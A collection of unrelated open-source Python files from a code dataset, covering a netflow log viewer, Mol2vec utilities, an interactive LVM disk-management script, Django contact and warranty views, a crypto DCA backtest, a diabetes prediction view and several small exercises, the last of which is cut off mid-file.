    \".format(source_ip)\n\n days = get_days_list([datetime.now() + timedelta(i - DAYS_TO_SHOW) for i in range(1, DAYS_TO_SHOW + 1)])\n con = sqlite3.connect(gs._db_filename)\n cur = con.cursor()\n sql_date_filter = get_sql_unixtime_filter_on_day_range(days[0], days[-1], \"flow_start_sec\", \"flow_end_sec\")\n cur.execute(\n \"SELECT flow_start_sec, flow_end_sec, orig_ip_daddr FROM ulog_ct \"\n \"WHERE orig_ip_saddr = {} AND {} \".format(ip2int(source_ip), sql_date_filter) +\n \"AND flow_start_sec IS NOT NULL \"\n \"ORDER BY flow_start_sec\")\n\n cts = cur.fetchall()\n\n def parse_cts(cts, days):\n \"\"\"\n Returns a list of dictionaries. Each list item for each days item.\n Each dictionary is keyed by IP in string form (\"1.2.3.4\") and contains time in seconds of\n connection start and end relative to the day start.\n :param cts:\n :param days:\n :return:\n \"\"\"\n ret = list()\n for _ in days:\n ret.append(dict())\n\n days_unixtime = [int(day.timestamp()) for day in days] # Convert days to unixtime\n for ct in cts:\n for i, day in enumerate(days_unixtime[:-1]):\n if ct[0] <= days_unixtime[i + 1] and ct[1] >= day:\n ip = int2ip(ct[2])\n if ip not in ret[i]:\n ret[i][ip] = list()\n ret[i][ip].append((ct[0] - day, ct[1] - day))\n return ret\n\n day_ip_cts = parse_cts(cts, days)\n\n for day, ipdict in zip(days[:-1], day_ip_cts[:-1]):\n answer += ''.format(day.strftime(\"%d %b\"))\n answer += ''\n answer += \"\"\"\n \n \n \n \"\"\"\n\n for ip in ipdict:\n answer += \"\".format(\n ip,\n ip2info(ip),\n base64.b64encode(get_day_usage_bar(ipdict[ip], 500, 10)).decode(\"utf-8\")\n )\n answer += \"
    IPInfoUsage bar
    {}{}
    \"\n\n answer += tail\n return answer\n\n\ndef get_main_page():\n answer = \"\"\"\n\n\n\nulogd_sqlite3 main page\n\n\n \n\n

    Select IP

    \n\"\"\"\n\n answer += \"\"\"\n
      \"\"\"\n\n con = sqlite3.connect(gs._db_filename)\n cur = con.cursor()\n cur.execute(\"SELECT DISTINCT orig_ip_saddr FROM ulog_ct ORDER BY orig_ip_saddr LIMIT 100\")\n iplist = cur.fetchall()\n for ip in iplist:\n answer += \"
    • {}
    • \".format(int2ip(ip[0]), int2ip(ip[0]))\n answer += \"\"\"
    \n\n\n\"\"\"\n\n return answer\n","repo_name":"Zapunidi/ulogd_sqlite3","sub_path":"ulogd_sqlite3/pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":8182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28110224562","text":"# from tqdm import tqdm\nimport numpy as np\n# import pandas as pd\n# from rdkit import Chem\nfrom rdkit.Chem import AllChem\n# from rdkit.Chem import PandasTools\nfrom gensim.models import word2vec\nimport timeit\n# from joblib import Parallel, delayed\n# import datetime\n\n\ndef mol2alt_sentence(mol, radius):\n \"\"\"Same as mol2sentence() expect it only returns the alternating sentence\n Calculates ECFP (Morgan fingerprint) and returns identifiers of substructures as 'sentence' (string).\n Returns a tuple with 1) a list with sentence for each radius and 2) a sentence with identifiers from all radii\n combined.\n NOTE: Words are ALWAYS reordered according to atom order in the input mol object.\n NOTE: Due to the way how Morgan FPs are generated, number of identifiers at each radius is smaller\n\n Parameters\n ----------\n mol : rdkit.Chem.rdchem.Mol\n radius : float\n Fingerprint radius\n\n Returns\n -------\n list\n alternating sentence\n combined\n \"\"\"\n radii = list(range(int(radius) + 1))\n info = {}\n _ = AllChem.GetMorganFingerprint(mol, radius, bitInfo=info) # info: dictionary identifier, atom_idx, radius\n\n mol_atoms = [a.GetIdx() for a in mol.GetAtoms()]\n dict_atoms = {x: {r: None for r in radii} for x in mol_atoms}\n\n for element in info:\n for atom_idx, radius_at in info[element]:\n dict_atoms[atom_idx][radius_at] = element # {atom number: {fp radius: identifier}}\n\n # merge identifiers alternating radius to sentence: atom 0 radius0, atom 0 radius 1, etc.\n identifiers_alt = []\n for atom in dict_atoms: # iterate over atoms\n for r in radii: # iterate over radii\n identifiers_alt.append(dict_atoms[atom][r])\n\n alternating_sentence = map(str, [x for x in identifiers_alt if x])\n\n return list(alternating_sentence)\n\n\ndef train_word2vec_model(infile_name, outfile_name=None, vector_size=100, window=10, min_count=3, n_jobs=1,\n method='skip-gram', **kwargs):\n \"\"\"Trains word2vec (Mol2vec, ProtVec) model on corpus file extracted from molecule/protein sequences.\n The corpus file is treated as LineSentence corpus (one sentence = one line, words separated by whitespaces)\n\n Parameters\n ----------\n infile_name : str\n Corpus file, e.g. proteins split in n-grams or compound identifier\n outfile_name : str\n Name of output file where word2vec model should be saved\n vector_size : int\n Number of dimensions of vector\n window : int\n Number of words considered as context\n min_count : int\n Number of occurrences a word should have to be considered in training\n n_jobs : int\n Number of cpu cores used for calculation\n method : str\n Method to use in model training. Options cbow and skip-gram, default: skip-gram)\n\n Returns\n -------\n word2vec.Word2Vec\n \"\"\"\n if method.lower() == 'skip-gram':\n sg = 1\n elif method.lower() == 'cbow':\n sg = 0\n else:\n raise ValueError('skip-gram or cbow are only valid options')\n\n start = timeit.default_timer()\n corpus = word2vec.LineSentence(infile_name)\n model = word2vec.Word2Vec(corpus, size=vector_size, window=window, min_count=min_count, workers=n_jobs, sg=sg,\n **kwargs)\n if outfile_name:\n model.save(outfile_name)\n\n stop = timeit.default_timer()\n print('Runtime: ', round((stop - start) / 60, 2), ' minutes')\n return model\n\n\ndef sentences2vec(sentences, model, unseen=None):\n \"\"\"Generate vectors for each sentence (list) in a list of sentences. Vector is simply a\n sum of vectors for individual words.\n\n Parameters\n ----------\n sentences : list, array\n List with sentences\n model : word2vec.Word2Vec\n Gensim word2vec model\n unseen : None, str\n Keyword for unseen words. If None, those words are skipped.\n https://stats.stackexchange.com/questions/163005/how-to-set-the-dictionary-for-text-analysis-using-neural-networks/163032#163032\n\n Returns\n -------\n np.array\n \"\"\"\n keys = set(model.wv.vocab.keys())\n vec = []\n if unseen:\n unseen_vec = model.wv.word_vec(unseen)\n\n for sentence in sentences:\n if unseen:\n vec.append(sum([model.wv.word_vec(y) if y in set(sentence) & keys\n else unseen_vec for y in sentence]))\n else:\n vec.append(sum([model.wv.word_vec(y) for y in sentence\n if y in set(sentence) & keys]))\n return np.array(vec)\n\n\nclass DfVec(object):\n \"\"\"\n Helper class to store vectors in a pandas DataFrame\n\n Parameters\n ----------\n vec: np.array\n \"\"\"\n\n def __init__(self, vec):\n self.vec = vec\n if type(self.vec) != np.ndarray:\n raise TypeError('numpy.ndarray expected, got %s' % type(self.vec))\n\n def __str__(self):\n return \"%s dimensional vector\" % str(self.vec.shape)\n\n __repr__ = __str__\n\n def __len__(self):\n return len(self.vec)\n\n _repr_html_ = __str__\n\n\nclass MolSentence:\n \"\"\"Class for storing mol sentences in pandas DataFrame\n \"\"\"\n def __init__(self, sentence):\n self.sentence = sentence\n if type(self.sentence[0]) != str:\n raise TypeError('List with strings expected')\n\n def __len__(self):\n return len(self.sentence)\n\n def __str__(self): # String representation\n return 'MolSentence with %i words' % len(self.sentence)\n\n __repr__ = __str__ # Default representation\n\n def contains(self, word):\n \"\"\"Contains (and __contains__) method enables usage of \"'Word' in MolSentence\"\"\"\n if word in self.sentence:\n return True\n else:\n return False\n\n __contains__ = contains # MolSentence.contains('word')\n\n def __iter__(self): # Iterate over words (for word in MolSentence:...)\n for x in self.sentence:\n yield x\n\n _repr_html_ = __str__\n\n\n# def count_fragment(cid2frag_fp):\n# \"\"\"\n# count fragment in all training set\n# :param cid2frag_fp: cid2fragment file path, i.e. step2_result file\n# :return:\n# \"\"\"\n# frag2num = {}\n# with open(cid2frag_fp, 'r') as f_handle:\n# counter = 0\n# for i in f_handle:\n# if counter % 500000 == 0:\n# t = datetime.datetime.now()\n# print('>>> Current line: {}'.format(counter), t.strftime(\"%c\"))\n# cid, sentence = i.strip().split('\\t')\n# frags = sentence.split(',')\n# for frag in frags:\n# if frag not in frag2num:\n# frag2num[frag] = 0\n# frag2num[frag] += 1\n# counter += 1\n# frag2num_df = pd.DataFrame.from_dict(frag2num, orient='index')\n# frag2num_df.sort_values(by=0, inplace=True, ascending=False)\n# frag2num_df.reset_index(inplace=True)\n# frag2num_df.rename(columns={0: 'count', 'index': 'fragment'}, inplace=True)\n# return frag2num_df\n","repo_name":"OnlyBelter/fragParallel2vecX","sub_path":"fragpara2vec/Mol2vec/helper_func.py","file_name":"helper_func.py","file_ext":"py","file_size_in_byte":7011,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"43018134689","text":"class Employee:\n company = \"Bharat Gas\"\n salary = 5600\n salarybonus = 400\n # totalSalary = 6000\n\n # getter method\n @property # property decoretor is use to create a function as a property.\n def totalSalary(self):\n return self.salary + self.salarybonus\n\n # setter method\n @totalSalary.setter\n def totalSalary(self, val):\n self.salarybonus = val - self.salary\n\ne = Employee()\nprint(e.totalSalary)\n\nprint(\"**************************************\")\n\ne.totalSalary = 5800\nprint(e.totalSalary)\nprint(e.salary)\nprint(e.salarybonus)","repo_name":"Saquib472/Complete-Python-zerotoHero","sub_path":"1_Practice_set/11. Chapter 11_Inheritance&moreOOPs/06_property_decorator.py","file_name":"06_property_decorator.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21483630208","text":"import os\nimport pyfiglet \nresult = pyfiglet.figlet_format(\"LVM SCRIPT\", font = \"slant\" ) \nprint(result) \nprint()\ndef lvCreation(dev_name, vg_name, lv_name, size, dir_name):\n os.system(f'pvcreate {dev_name}')\n os.system(f'vgcreate {vg_name} {dev_name}')\n os.system(f'vgdisplay {vg_name}')\n os.system(f'lvcreate --size {size}G --name {lv_name} {vg_name}')\n os.system(f'mkfs.ext4 /dev/{vg_name}/{lv_name}')\n os.system(f'mount /dev/{vg_name}/{lv_name} {dir_name}')\n os.system('lvdisplay')\n os.system('df -h')\n os.system('sleep 2')\n\ndef lvExtend( exdev_name, exvg_name, exsize, exlv_name):\n os.system(f'pvcreate {exdev_name}')\n os.system(f'vgextend {exvg_name} {exdev_name}')\n os.system('sleep 1')\n os.system(f'lvextend --size {exsize}G /dev/{exvg_name}/{exlv_name}') \n os.system(f'resize2fs /dev/{exvg_name}/{exlv_name}')\n os.system('df -h')\n os.system('sleep 2')\n\ndef lvReduce(reddir_name, redvg_name, redlv_name, redsize):\n os.system(f'umount {reddir_name}')\n os.system(f'e2fsck -f /dev/mapper/{redvg_name}-{redlv_name}')\n os.system(f'resize2fs /dev/mapper/{redvg_name}-{redlv_name} {redsize}G')\n os.system(f'lvreduce -L {redsize}G /dev/mapper/{redvg_name}-{redlv_name} -y')\n os.system(f'mount /dev/mapper/{redvg_name}-{redlv_name} {reddir_name}')\n os.system('df -h')\n os.system('sleep 2')\n\nwhile True:\n print(\"What do you want to go for?\")\n user_Choice = input(\"Press 1 for LV Creation \\nPress 2 for LV Extend \\nPress 3 for LV Reduce \\nPress e for exit\\n\") \n if user_Choice.strip() == \"1\":\n dev_name = input(\"Please enter the device name - \")\n vg_name = input(\"Please enter your VG name - \")\n lv_name = input(\"Please enter your LV name - \")\n size = input(\"Please enter the size of LV - \")\n dir_name = input('Please enter the directory you want to mount the LV to -')\n lvCreation(dev_name, vg_name, lv_name, size, dir_name)\n os.system('clear')\n elif user_Choice.strip() == \"2\":\n exdev_name = input(\"Please enter the new device name - \")\n exvg_name = input(\"Please enter the vg you want to extend - \")\n exlv_name = input(\"Please enter the lv you want to extend - \")\n exsize = input(\"Please enter the size you want to extend - \") \n lvExtend(exdev_name, exvg_name, exsize, exlv_name)\n os.system('clear')\n elif user_Choice.strip() == \"3\":\n reddir_name = input(\"Please enter the mounted dir - \")\n redvg_name = input(\"Please enter the VG name you want to reduce - \")\n redlv_name = input(\"Please enter the LV name you want to reduce - \")\n redsize = input(\"Please enter the size you want to reduce - \")\n lvReduce(reddir_name, redvg_name, redlv_name, redsize)\n os.system('sleep 4')\n os.system('clear')\n elif user_Choice.strip() == \"e\":\n print(\"Have a great one! Cheers:D\")\n break\n else:\n print(\"Invalid Input! Please Try Again :D\")\n\n","repo_name":"RajitPaul11/Python-Scripts","sub_path":"lvm.py","file_name":"lvm.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"21337167620","text":"\"\"\"The setup script.\"\"\"\n\nfrom setuptools import setup, find_packages\n\nproject_name = \"RealOrNot\" # for PyPI listing\n\nrequirements = [\n \"psycopg2-binary\",\n \"pandas==1.1.0\",\n \"loguru\",\n \"nltk\",\n \"sklearn\",\n \"matplotlib\",\n \"requests\",\n \"seaborn\",\n \"gender_guesser\",\n \"spacy==2.3.2\",\n \"pyLDAvis==2.1.2\",\n \"gensim==3.8.3\",\n \"flask\",\n \"gunicorn\",\n \"scikit-image\",\n \"waitress\",\n \"wordcloud\",\n \"marshmallow\",\n \"marshmallow_jsonapi\",\n \"plotly\",\n \"nbformat\",\n \"dictdiffer\",\n \"statsmodels\",\n]\nsetup(\n author=\"Arya Dha\",\n author_email=\"...\",\n python_requires=\">=3.5\",\n description=\"Real or Not using NLP\",\n install_requires=requirements,\n name=project_name,\n packages=find_packages(),\n include_package_data=True,\n url=\"https://github.com/aryadhar/RealorNotNLP\",\n version=\"0.1.0\",\n zip_safe=False,\n)\n","repo_name":"aryadhar/RealorNotNLP","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35201516551","text":"import numpy as np\n\n# Constants\nH0_code = np.sqrt(8 * np.pi / 3) # Hubble constant in code units\nL_code = 1 # Box size in code units\nL_phys = 20000 # Box size in kpc\n\n# Conversion factor for length from code to physical units\ndKpcUnit = L_phys / L_code\n\n# Gravitational constant in physical units km2 Mpc MSun-1 s-2\nG_phys = 4.301e-9\n\n# G_phys from https://lweb.cfa.harvard.edu/~dfabricant/huchra/ay145/constants.html\n\n# Hubble constant in physical units\nH0_phys = 67.81 # in km/s/kpc\n#For H0 these are the units in the assignment, however I think they maybe are supposed to be in km/s/Mpc, as this is the closest I get to the correct answer.\n\n# Critical density\nrho_crit_phys = (3 * H0_phys**2 )/ (8 * np.pi * G_phys)\n\n# Mass unit conversion from code to solar masses, converting back to Mpc\ndMsolUnit = ((rho_crit_phys) * (dKpcUnit/1000)**3)\n\nprint(f'{dMsolUnit:.6g}')\n\"\"\"\nOutput:\n1.02091e+15\n\"\"\"\n","repo_name":"leahelha/AST4320","sub_path":"calculations_units.py","file_name":"calculations_units.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16143291404","text":"''' ONE MONTH AVAXUSDT 30m CHART'''\n\n''' STEP 1: Initialize / Define '''\n\nimport pandas as pd\nimport numpy as np\nfrom itertools import islice\n\nfilename = 'AVAXUSDT-30m-2022-06.csv' #plug in like 10 CSVs\ndataSet = pd.read_csv(filename,usecols=[0,1,2])\n\ndataSet = pd.DataFrame(dataSet)\ndata = dataSet.values.tolist()\n\n#print(data)\n\nperiod = 240 #pre-determined buy window\ncapital = 144000 #total capital\nallowance = 24000 #amount spent per buy\ncurrent_allowance = 0 #how much can be spent currently\nhaveBought= False #have we bought during this period?\n\nassets = [] #total assets held at end\n\ndef __init__(self, assets, period, capital, allowance, current_allowance, haveBought):\n self.period = period\n self.capital = capital\n self.allowance = allowance\n self.current_allowance = current_allowance\n self.assets = assets\n self.haveBought = haveBought\n\ndef window(seq, n=period):\n \"Returns a sliding window (of width n) over data from the iterable\"\n \" s -> (s0,s1,...s[n-1]), (s1,s2,...,sn), ... \"\n it = iter(seq)\n result = list(islice(it, n))\n arr = []\n if len(result) == n:\n arr.append(result)\n for elem in it:\n result = result[1:] + [elem]\n arr.append(result)\n return arr\n \ndef buy(currentAllowance, price):\n \"Buys at the price in the price dataset for currentAllowance\"\n amt = currentAllowance/price\n assets.append(amt)\n print('\\nWe bought', amt, 'for', currentAllowance, 'at ', price)\n \nSMA = [] #running list of previous Simple Moving Averages\n\ndef calculateSMA(prices):\n \"Calculates a running list of Simple Moving Averages in the prices list\"\n print('\\nthe prices are: ',prices)\n a = []\n a = window(prices, period)\n \n for i in range(len(a)):\n tmp = sum(a[i])/period\n SMA.append(tmp)\n \n \n''' STEP 2: Calculate SMA '''\n\n#print(data[:]) # can't do multi-dimensional slicing of lists \n\ni = 0\npriceArr= []\n\n# pass array of only the 2nd items\n\nfor i in range(len(data)):\n priceArr.append(data[i][2])\n \n# print(priceArr) \n\ncalculateSMA(priceArr)\nprint('\\nThe simple moving average is: ', SMA)\n\n\n'''STEP 3: Create the control group'''\n\ncontrol = [] #standard DCA control group\ni = 0\n\nfor i in range(len(data)):\n for j in range(len(data[i])):\n if i%period == 0 and j == 2:\n tmp= allowance/data[i][j]\n control.append(tmp)\n print('we bought ', tmp, 'for ', allowance, 'at ', data[i][j])\n\ncontrol = np.sum(control)\nprint('\\nThe amount of BTC bought via standard DCA was: ', control)\n\n''' STEP 4: Calculate Sigma '''\n\nsigma = [] #array of previous standard deviations\n\ndef calculateSigma(prices):\n ''' the formula is std = sqrt(mean(abs(x - x.mean())**2)) but there's a numpy function so I will do that '''\n x = []\n x = window(prices, period)\n \n #Need to convert to single dimensional\n \n for i in range(len(x)):\n tmp = np.std(x[i])\n sigma.append(tmp)\n\ncalculateSigma(priceArr)\n\nprint('\\nThe standard deviation, sigma, is: ',sigma)\n\n''' STEP 5: Buy Logic '''\nprint('\\nLength of Data: ', len(data))\nprint('\\nLength of SMA: ', len(SMA))\nprint('\\nLength of Sigma: ', len(sigma))\n\nfor i in range(len(sigma)):\n for j in range(len(data[i])):\n if i%period == 0 and j == 2 and capital > 0:\n haveBought = False\n if (SMA[i]- 2*sigma[i]) > data[i+period-1][j] and current_allowance > 0 and haveBought is False:\n buy(current_allowance, data[i+period-1][j])\n capital -= current_allowance\n current_allowance = 0\n haveBought = True\n print('The remaining balance is: ', capital)\n if capital == 0:\n break\n elif (SMA[i]- sigma[i]) > data[i+period-1][j] and current_allowance > 0 and haveBought is False:\n buy(current_allowance, data[i+period-1][j])\n capital -= current_allowance\n current_allowance = 0\n haveBought = True\n print('The remaining balance is: ', capital)\n if capital == 0: \n break\n else:\n if current_allowance < capital:\n current_allowance += allowance\n haveBought = False\n print('The current allowance is: ', current_allowance)\n else:\n print('the current allowance is: ', current_allowance)\n elif i%period !=0 and j==2 and capital > 0:\n if (SMA[i]- 2*sigma[i]) > data[i+period-1][j] and current_allowance > 0 and haveBought is False: \n buy(current_allowance, data[i+period-1][j])\n capital -= current_allowance\n current_allowance = 0\n haveBought = True\n print('The remaining balance is: ', capital)\n if capital == 0: \n break\n elif (SMA[i]- sigma[i]) > data[i+period-1][j] and current_allowance > 0 and haveBought is False:\n buy(current_allowance, data[i+period-1][j])\n capital -= current_allowance\n current_allowance = 0\n haveBought = True\n print('The remaining balance is: ', capital)\n if capital == 0:\n break\n else:\n if current_allowance < capital:\n haveBought = False\n elif data[i+period-1][j] == data[-1][j]:\n buy(capital, data[i+period-1][j])\n capital = 0\n current_allowance = 0\n haveBought = True\n print('The remaining balance is: ', capital)\n break \n else:\n print('the current allowance is: ', current_allowance)\n else: \n if capital > 0 or capital - current_allowance < 0:\n continue\n elif data[i+period-1][j] == data[-1][j]:\n buy(capital, data[i+period-1][j])\n capital = 0\n current_allowance = 0\n haveBought = True\n print('The remaining balance is: ', capital)\n break\n else:\n break\n\n\n \nprint('\\nOur assets are: ', assets)\nprint('\\nthe number of purchases made was: ', len(assets))\n\noutcome = sum(assets)\n\nprint('The amount of assets purchased with strategy is: ',outcome) \nprint('The amount of assets purchased via traditional strategy is: ',control)\nprint('Did our strategy work? ', outcome > control)\nprint('Strategy performance: ', outcome/control * 100 - 100, ' percent')\n","repo_name":"MrXlVii/DCA","sub_path":"backtest.py","file_name":"backtest.py","file_ext":"py","file_size_in_byte":6728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6110909506","text":"import os\nimport re\nfrom datetime import datetime\n\nfrom core.models import Item, Category\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.views import generic\n\nfrom djecommerce.settings.base import BASE_DIR\nfrom .models import Post\nfrom .form import CommentForm, ContactForm, WarrantyForm\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.core.mail import send_mail, EmailMessage\n\n\n# Create your views here.\ndef home(request):\n items = Item.objects.filter(label='F')\n categorys = Category.objects.all()[:3]\n return render(request, 'home.html', {'items': items, \"categorys\": categorys})\n\n@login_required\ndef contact(request):\n new_contact = None\n template_name = 'contact.html'\n if request.method == 'POST':\n email = request.user.email\n contct_form = ContactForm(request.POST, request.FILES)\n if contct_form.is_valid():\n name = contct_form.cleaned_data.get('name')\n body = contct_form.cleaned_data.get('body')\n # email = contct_form.cleaned_data.get('email')\n attach = request.FILES.get('attachment', None)\n new_contact = contct_form.save(commit=False)\n if attach:\n save_name = name + \"_\" + email + \"_\" + attach.name\n save = os.path.join(os.path.join(BASE_DIR, 'media_root'), 'message_attachment')\n with open(os.path.join(save, save_name), 'wb+') as destination:\n for chunk in attach.chunks():\n destination.write(chunk)\n new_contact.attachment_address = os.path.join(save, save_name)\n new_contact.email = email\n new_contact.save()\n\n try:\n message = f\"From: {name}\\n\" \\\n f\"Email: {email}\\n\" \\\n f\"Message: \\n\" \\\n f\"{body}\"\n mail = EmailMessage(subject=\"SKADE.US SERVICE\", body=message, from_email=None, to=['service@skade.us'],\n reply_to=[email])\n if attach:\n mail.attach_file(new_contact.attachment_address)\n mail.send()\n send_mail('Skade Message Service Confirmation',\n 'This is a confirmation of your SKADE customer service message request, a representative will contact you by email in 24 hours. Please do not reply to this message!',\n None, [email], fail_silently=False)\n new_contact = f'Your Message is sent, a confirmation email has sent to your primary email address ({email}) shortly. We will contact you by email in 24 hours.'\n except:\n new_contact = 'Unable to send email. Please try again later or contact us by email at service@skade.us'\n else:\n contct_form = ContactForm()\n\n return render(request, template_name, {'new_contact': new_contact, 'contact_form': contct_form})\n\n\ndef about(request):\n return render(request, 'about.html', {})\n\n\ndef policy(request):\n return render(request, 'policy.html', {})\n\n\nclass PostList(generic.ListView):\n queryset = Post.objects.filter(status=1).order_by('-created_on')\n template_name = 'blog.html'\n\n\nclass PostDetail(generic.DetailView):\n model = Post\n template_name = 'post_detail.html'\n\n\ndef post_detail(request, slug):\n template_name = 'post_detail.html'\n post_list = Post.objects.filter(status=1).order_by('-created_on')\n post = get_object_or_404(Post, slug=slug)\n comments = post.comments.filter(active=True)\n new_comment = None\n # Comment posted\n if request.method == 'POST':\n comment_form = CommentForm(data=request.POST)\n if comment_form.is_valid():\n # Create Comment object but don't save to database yet\n new_comment = comment_form.save(commit=False)\n # Assign the current post to the comment\n new_comment.post = post\n # Save the comment to the database\n new_comment.save()\n\n\n\n else:\n comment_form = CommentForm()\n\n return render(request, template_name, {'post': post,\n 'comments': comments,\n 'new_comment': new_comment,\n 'comment_form': comment_form, 'post_list': post_list},\n )\n\n\ndef warranty(request):\n template_name = 'warranty.html'\n new_warranty_request = None\n if request.method == 'POST':\n warranty_form = WarrantyForm(data=request.POST)\n if warranty_form.is_valid():\n # Save the comment to the database\n order_id = warranty_form.cleaned_data.get('order_number')\n pattern = '^\\d{3}-\\d{7}-\\d{7}$'\n if re.fullmatch(pattern, order_id):\n name = warranty_form.cleaned_data.get('name')\n email = warranty_form.cleaned_data.get('email')\n warranty_form.save()\n try:\n message = f\"From: {name}\\n\" \\\n f\"Email: {email}\\n\" \\\n f\"Message: \\n\" \\\n f\"{order_id}\"\n mail = EmailMessage(subject=\"SKADE.US Activate Warranty \", body=message, from_email=None,\n to=['service@skade.us'],\n reply_to=[email])\n mail.send()\n send_mail('Skade Message Service Confirmation',\n 'This is a confirmation of your SKADE warranty activation request, a representative will contact you by email in 24 hours. Please do not reply to this message!',\n None, [email], fail_silently=False)\n new_warranty_request = 'You request has been submitted. A confirmation will be sent to you once we confirm it.'\n except:\n new_warranty_request = 'Unable to send email. Please try again later or contact us by email at service@skade.us'\n else:\n messages.info(request, \"Please check your order number.\")\n return redirect(\"home:warranty\")\n else:\n warranty_form = WarrantyForm()\n return render(request, template_name, {\n 'new_warranty_request': new_warranty_request,\n 'warranty_form': warranty_form})\n\n\ndef find_id(request):\n return render(request, 'findid.html')\n","repo_name":"PeterYuan1986/skade","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1738209693","text":"#!/usr/bin/env python\nimport sys\n\nfrom pyscope import config\nclasses = config.getCameraClasses()\n\nfrom pyscope import checkmodule\napp = checkmodule.TestInstrument(classes)\napp.test('getDimension')\napp.test('getImage')\nprint('Testing frame saving')\napp.test('setSaveRawFrames',True)\napp.test('getImage')\napp.waitToClose()\n","repo_name":"nysbc/leginon-py3","sub_path":"pyscope/checkcamera.py","file_name":"checkcamera.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"9368620553","text":"import os\r\nold_ext = '.' + 'epub'\r\nnew_ext = '.' + 'html'\r\npath = '.' + os.sep\r\n\r\ndef getFileName(t_path):\r\n f_list = os.listdir(t_path)\r\n t_list = []\r\n for i in f_list:\r\n if os.path.splitext(i)[1] == old_ext:\r\n t_list.append(i)\r\n return t_list\r\n\r\nif __name__ == '__main__':\r\n f_list = getFileName(path)\r\n for i in f_list:\r\n oldname = path + i\r\n name = os.path.splitext(i)[0]\r\n newname = path + name + new_ext\r\n print('old:',oldname,'=====>',\"new:\",newname,'\\n')\r\n os.rename(oldname,newname)","repo_name":"Yoruet/My_Tools","sub_path":"FileName/epub2html.py","file_name":"epub2html.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"44467536278","text":"from django.shortcuts import render\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nimport numpy as np # Add this import\n\n\ndef home(request):\n return render(request, \"home.html\")\n\n\ndef predict(request):\n return render(request, \"predict.html\")\n\n\ndef result(request):\n data = pd.read_csv(\n '/Users/amanjha/Desktop/DiabetesPredictions/DiabetesPredictions/static/DiabetesPredictions/dataset/diabetes.csv')\n\n X = data.drop('Outcome', axis=1)\n y = data['Outcome']\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n\n model = LogisticRegression()\n model.fit(X_train, y_train)\n\n val1 = float(request.GET['n1'])\n val2 = float(request.GET['n2'])\n val3 = float(request.GET['n3'])\n val4 = float(request.GET['n4'])\n val5 = float(request.GET['n5'])\n val6 = float(request.GET['n6'])\n val7 = float(request.GET['n7'])\n val8 = float(request.GET['n8'])\n\n # Reshape input data to be a 2D array\n input_data = np.array([val1, val2, val3, val4, val5, val6, val7, val8]).reshape(1, -1)\n\n pred = model.predict(input_data)\n\n return1 = \"\"\n if pred == 1:\n result1 = \"Positive\"\n else:\n result1 = \"Negative\"\n\n return render(request, \"predict.html\", {\"result2\": result1})\n","repo_name":"aman-tech45/Diabetes-Prediction","sub_path":"DiabetesPredictions/DiabetesPredictions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7521212114","text":"from tools import *\nimport numpy as np\nimport pandas as pd\nfrom sklearn.cluster import KMeans\n\ndef turbines_sol(data, substation_list, turbine_cluster):\n turbine_id, turbine_cluster = turbine_cluster\n turbines_sol = []\n for t in range(len(data['wind_turbines'])):\n turbines_sol.append(\n turbine(id=int(turbine_id[t]),\n substation_id=int(substation_list[turbine_cluster[t]][\"id\"])\n ).to_dict()\n\n ) \n return turbines_sol\n\ndef substation_substation_cables_sol(data, substation_list):\n substation_substation_cables = []\n # sort sub_sub_cable_types_price by price\n sub_sub_cable_types_price = pd.DataFrame().from_dict(data[\"substation_substation_cable_types\"])\n sub_sub_cable_types_price[\"price\"] = sub_sub_cable_types_price[\"fixed_cost\"] + sub_sub_cable_types_price[\"variable_cost\"] * 10\n sub_sub_cable_types_price = sub_sub_cable_types_price.sort_values(by=\"price\")\n sub_sub_cable_types_id = int(sub_sub_cable_types_price.iloc[0][\"id\"])\n\n substation_list_with_coordinates = pd.DataFrame(substation_list)[[\"id\"]].merge(pd.DataFrame().from_dict(data[\"substation_locations\"]), left_on=\"id\", right_on=\"id\")\n while len(substation_list_with_coordinates) > 1:\n distances = substation_list_with_coordinates.copy()\n id_sub = distances.iloc[0][\"id\"]\n distances[\"distance\"] = distances.apply(lambda x: (x['x'] - distances.iloc[0]['x'])**2 + (x['y'] - distances.iloc[0]['y'])**2, axis=1)\n distances = distances.sort_values(by=\"distance\")\n\n substation_substation_cables.append(substation_substation_cable(int(id_sub), int(distances.iloc[1][\"id\"]), sub_sub_cable_types_id).to_dict())\n # delete first row of dataframe\n substation_list_with_coordinates = substation_list_with_coordinates.iloc[1:]\n\n # delete row with id equal to distances.iloc[1][\"id\"]\n substation_list_with_coordinates = substation_list_with_coordinates[substation_list_with_coordinates.id != distances.iloc[1][\"id\"]]\n\n return substation_substation_cables\n\ndef substations_sol(data, turbine_cluster):\n barycentres, 